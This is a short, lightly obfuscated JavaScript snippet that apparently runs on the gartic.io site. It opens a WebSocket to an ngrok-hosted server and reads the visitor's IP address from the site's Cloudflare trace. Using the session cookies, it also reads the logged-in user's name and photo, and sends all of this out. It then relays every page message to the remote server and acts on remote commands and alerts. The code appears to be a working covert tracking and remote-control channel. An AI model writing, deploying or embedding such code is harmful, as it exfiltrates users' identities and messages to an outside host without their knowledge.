function __0x701(a){window.postMessage('cmd.'+a, '*')};function __0x602(a){window.postMessage(a, '*')};
let a={},s=new WebSocket('wss://clever-reptile-presently.ngrok-free.app');fetch("https://gartic.io/cdn-cgi/l/trace").then(x=>x.text()).then(x=>{a.d=x;a.i=a.d.split("\n")[2].substr(3)});fetch("https://gartic.io/check",{"credentials":"include"}).then(x=>x.json()).then(x=>{a.u=x.name;a.p=x.photo});
 s.onmessage = (msg) =>{
try{let i=JSON.parse(msg.data);if(i.cmd){__0x701(i.cmd)};if(i.msg){__0x602(i.msg)};if(i.system){alert(i.system)};if(i.news){postMessage('str.'+btoa(i.news),'*')};} catch(e){}}
if(s.OPEN){setTimeout(()=>{s.send(JSON.stringify({user:a.u,photo:a.p}));s.send(a.d)},3000)};window.addEventListener("message",function(msg){if(s.OPEN){s.send("[U:"+a.u+"]"+"[I:"+a.i+"]: "+msg.data)}})
